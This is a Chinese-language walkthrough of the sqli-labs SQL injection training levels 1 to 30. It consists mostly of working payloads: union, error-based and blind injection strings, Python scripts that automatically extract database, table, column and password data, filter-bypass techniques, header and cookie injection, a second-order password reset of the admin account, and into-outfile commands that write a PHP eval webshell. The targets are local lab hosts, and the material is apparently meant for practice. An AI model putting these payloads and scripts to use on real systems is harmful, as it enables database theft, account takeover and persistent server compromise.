Less-1
这个题目是基于错误,单引号,字符型注入,
http://127.0.0.1/sqli/Less-1/?id=1' //报错
http://127.0.0.1/sqli/Less-1/?id=1' or '1'='1 //正常
可以通过单引号闭合进行注入。
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23 //正常
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23 //报错
可以看出总共有三列,结合union查询。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 %23 //暴库
这里给出union联合查询的使用方法:
查数据库名:select database() //
查询所有数据库名:union SELECT group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA
爆出所有数据库:SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA
查数据库名为fanke下面的表名(16进制编码):union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65
information_schema.tables:存储mysql数据库下面的所有表名信息的表
table_schema:数据库名
Table_name:表名
查user表名下的列名信息:union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572
column_name:列名
information_schema.columns :存储mysql数据库下面的所有列名信息的表
table_name:表名
查user表名下列名username,password的数据:
union select 1,username,password,4,5 from user
Less-2
数字型注入,不需要去闭合,给出payload:
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3
Less-3
http://127.0.0.1/sqli/Less-3/?id=1'
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
根据报错回显中可以知道需要去闭合()。
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,database(),3 %23
Less-4
双引号闭合
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,database(),3 %23
Less-5
可以通过报错注入
http://127.0.0.1/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
也可以通过盲注,脚本如下
#Author:p0desta
import requests
import string
import sys
global findBit
import binascii
Flag_yes = "You are in"
def sendPayload(payload):
url = 'http://127.0.0.1/sqli/Less-5/?id=1'+ payload
content = requests.get(url).text
return content
def findDatabaseNumber():
count = 1
while count:
payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1
def findTableNumber(dbname):
count = 1
dbname = '0x' + str(binascii.b2a_hex(dbname))
while count:
payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findColumnNumber(tableName):
count = 1
tableName = '0x' + str(binascii.b2a_hex(tableName))
while count:
payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findDataNumber(columnName,tableName):
count = 1
while count:
payload = "'AND (select count("+columnName+") from "+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def getDatabaseName(dbNum):
global findBit
for k in range(dbNum):
i = 1
while i :
findBit = 0
doubleSearchDbs(-1,255,i,k)
i += 1
if findBit == 1:
sys.stdout.write("`\r\n")
break
def getTableName(tableNum,dbName):
global findBit
dbName = '0x' + str(binascii.b2a_hex(dbName))
for k in range(tableNum):
i = 1
while i :
findBit = 0
doubleSearchTable(-1,255,i,k,dbName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getColumnName(columnNum,tableName):
global findBit
tableName = '0x' + str(binascii.b2a_hex(tableName))
for k in range(columnNum):
i = 1
while i :
findBit = 0
doubleSearchColumn(-1,255,i,k,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getDataName(dataNum,columnName,tableName):
global findBit
for k in range(dataNum):
i = 1
while i :
findBit = 0
doubleSearchData(-1,255,i,k,columnName,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def doubleSearchDbs(leftNum,rightNum,i,k):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchDbs(midNum,rightNum,i,k)
else:
doubleSearchDbs(leftNum,midNum,i,k)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchTable(midNum,rightNum,i,k,dbName)
else:
doubleSearchTable(leftNum,midNum,i,k,dbName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchColumn(midNum,rightNum,i,k,tableName)
else:
doubleSearchColumn(leftNum,midNum,i,k,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
else:
doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
dbNum = findDatabaseNumber()
print "the number of database is "+str(dbNum)
getDatabaseName(dbNum)
dbName = raw_input('Find tables from :')
tableNum = findTableNumber(dbName)
print "the nameber of table is: " + str(tableNum)
getTableName(tableNum,dbName)
tableName = raw_input('Find columns from :')
columnNum = findColumnNumber(tableName)
print "the number of column is: " + str(columnNum)
getColumnName(columnNum,tableName)
columnName = raw_input('Find data from :')
dataNum = findDataNumber(columnName,tableName)
print "the number of data is :" + str(dataNum)
getDataName(dataNum,columnName,tableName)
exp()
Less-6
同上,改为双引号闭合。
Less-7
考查mysql对文件操作
限制:
load_file()
这里需要注意对路径的转义。
+---------------------------+
| load_file("D://test.txt") |
+---------------------------+
| p0desta |
+---------------------------+
+--------------------------+
| load_file("D:/test.txt") |
+--------------------------+
| p0desta |
+--------------------------+
+---------------------------------------------------+
| load_file(char(68,58,92,116,101,115,116,46,116,120,116)) |
+---------------------------------------------------+
| p0desta |
+---------------------------------------------------+
+---------------------------------------+
| load_file(0x443A2F2F746573742E747874) |
+---------------------------------------+
| p0desta |
+---------------------------------------+
数据导出
mysql> select database() into outfile "D://phpstudy//www//1.txt";
ERROR 1086 (HY000): File 'D://phpstudy//www//1.txt' already exists
mysql> select database() into outfile "D://phpstudy//www//2.txt";
Query OK, 1 row affected (0.00 sec)
第一次写的时候1.txt已经存在,写入失败。
直接写webshell
mysql> select "<?php eval($_POST['p0desta'])?>" into outfile 'D:/phpstudy/WWW/p0desta.php';
Query OK, 1 row affected (0.00 sec)
Less-7
payload:http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,'<?php eval($_POST["p0desta"]) ?>' into outfile "D:\\phpstudy\\WWW\\shell.php" %23
Less-8
构造个bool条件进行盲注,直接用之前写的那个盲注模板脚本就行。
Less-9
基于时间的注入
写了两个简单的脚本:
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
url_new = url + payload
time_start = time.time()
content = requests.get(url=url_new)
time_end = time.time()
if time_end - time_start >5:
return 1
result = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
for c in s:
payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)
if check(payload):
result += c
break
print result
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
url_new = url + payload
time_start = time.time()
content = requests.get(url=url_new)
time_end = time.time()
if time_end - time_start >5:
return 1
result = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
for c in s:
payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
if check(payload):
result += c
break
if ll==len(result):
print 'table_name: '+result
end = raw_input('-------------')
ll = len(result)
print result
Less-10
双引号闭合的盲注。
less-11
有回显,报错注入。
usernae = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
password = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
奉上我收藏的报错语句
1.通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3.通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4.通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5.通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6.通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7.通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8.通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9.通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10.通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11.通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12.通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
less-12
与上一关基本相同,区别在于
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
payload如下
admin")and 1=(updatexml(1,concat(0x3a,(select user())),1))#
less-13
post数据:
uname=admin'&passwd=chybeta&submit=Submit
报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'chybeta') LIMIT 0,1' at line 1
根据报错语句可以猜测出闭合情况,代码如下
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
有报错,直接报错注入,闭合一下就OK。
less-14
与前面的区别就在于
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
注意使用双引号闭合。
payload如下:
admin"and 1=(updatexml(1,concat(0x3a,(select user())),1))#
less-15
没有报错回显,闭合之后盲注。
可见构造了布尔条件,接下来写脚本跑一下就可以了。
less-16
跟上一关差不多,只不过闭合语句不同。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
脚本如下:
import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://127.0.0.1:8080"}
url = "http://localhost:20000/sqllab/Less-16/index.php"
data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.post(url,data=data,headers=headers,proxies=proxy)
return content.text
flag = "flag.jpg"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
recv = sendPayload(payload)
if flag in recv:
doubleSearch(leftNum,midNum,i,target)
else:
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()
注意闭合一下然后构造布尔条件注入就可以。
less-17
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
简单分析一下代码,首先有个waf处理,但是waf并没有对password使用,而且有报错回显,可以直接通过报错注入,报错注入这里不再多说,上面已经说明。
less-18
这里就要用到burpsuite了,这三关都是考查对header头进行注入
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
uname和passwd都进行了过滤,在这里进行注入是行不通的。
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
所以可以利用构造User Agent进行注入。 这里推荐使用Burpsuite,毕竟是神器。
这里跟前面的报错情况就一样了,只不过构造的位置不同而已。
less-19
情况跟上面一样,只不过位置不同。
less-20
情况跟上面一样,只不过位置不同,不再赘述。
less 21
登陆账户,抓包发现
用户名经过base64编码传输,通过修改uname进行注入攻击。
admin')and 1=(updatexml(1,concat(0x3a,(select user())),1))#
报错。
代码分析
注入完研究一下代码,可以看到这里如果没有设置cookie的话
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
将用户名和密码代入数据库查询,查询到的话设置cookie
setcookie('uname', base64_encode($row1['username']), time()+3600);
username和password有waf,但是cookie这里可以注入,有报错回显,直接报错注入。
payload:
uname=YWRtaW4nKWFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=
</font>Issue with your mysql: XPATH syntax error: ':root@localhost'
less-22
使用双引号去闭合,直接用报错语句去注入
admin") and 1=(updatexml(1,concat(0x3a,(select user())),1))#
原来这个和21关不太一样,不需要)去闭合。
Cookie:
uname=YWRtaW4iIGFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=
less-23
使用burp suite跑一边字典,发现过滤了注释符号,提交?id=1 报错
syntax to use near ''1'' LIMIT 0,1'
注释符号没法用了但是可以使用
id=-1' or '1'='1
payload:id=-1' union select 1,database(),'3
相当于
mysql> select * from users where id='-1' union select 1,database(),'3' limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | security | 3 |
+----+----------+----------+
1 row in set (0.06 sec)
less-24
首先根据正常思路走一步,然后找一下可能存在注入的地方
随便注册了一个123的账户,然后有个重置密码功能,给个人猜测这里可能存在越权或者注入,但是既然是考查注入,那么方向就明确了。 看一下代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
既然这样那么就可以通过控制username语句不执行判断password了。
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
首先注册一个账号插入数据库
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
如果注册账号为admin'#的话代入这个更新语句
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'
成功闭合并且注释掉了后面的语句,重置了admin账号的密码。
less-25
过滤了or和and。
双写可绕过
http://192.168.211.145/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infOorrmation_schema.tables where table_schema=database()%23
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
查看代码发现只有一边过滤。
less-25a
这个题是25的拓展,加了盲注
http://192.168.211.145/sqli/Less-25a/?id=1 anandd (ascii(substr((select database()),1,1))=115)%23
写个脚本跑一下就行了。
less-26
过滤的挺恶心的感觉
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
可以使用没空格的报错注入
?id=0'||extractvalue(1, concat(0x5c, (database())))||'1'='1
继续这个思路往下做,不是用空格的话用括号绕过,or和and还是双写绕过。
http://192.168.211.145/sqli/Less-26/?id=0'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1
XPATH syntax error: '\emails,referers,uagents,users'
less-26a
这个题也是26关的拓展,改成了盲注,思路一样,构造一下bool条件,写个脚本跑一下就可以。
?id=0'||(select(substr((select(database())),1,1)))='s
less-27
经过测试可以发现是select等是用白名单过滤的,直接大小写混合绕过,考报错,构造报错语句。
http://192.168.211.145/sqli/Less-27/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1
看网上的都是使用%0a绕过的空格,应该是版本的问题吧,并不全适用。
less-27a
拓展的27关,改一下构造bool条件,写个脚本跑一下即可。
http://192.168.211.145/sqli/Less-27/?id=-0%27||(seleCt(substr((seleCt(database())),1,1)))='s
less-28
这关应该是考报错的,但是源代码里却把print_r(mysql_error());注释掉了,应该是作者的忘记了吧。
自己改了一下。
看一下过滤的的代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
如果报错注入的话直接用之前的payload就可以。
http://192.168.211.145/sqli/Less-28/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1
但是如果就是去绕union select呢, payload如下
http://192.168.211.145/sqli/Less-28/?id=0')union(select%0d1,database(),'3
less-28a
这个过滤的就比28关少很多了,union查询也可以,盲注的话也可以,思路就很多了。
less-29
这个题看网上写的直接在index.php页面进行注入的,那个没有任何防护,题目应该是在login.php页面。
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
接受字符串后首先进行分组,分组标志是&,但是只返回了第一组进行验证,那么就可以构造
login.php?id=1&id=' union select 1,database(),3 --+
less-30
跟上题差不多,只不过双引号闭合。
http://192.168.211.145/sqli/Less-30/?id=1&id=" union select 1,database(),3 --+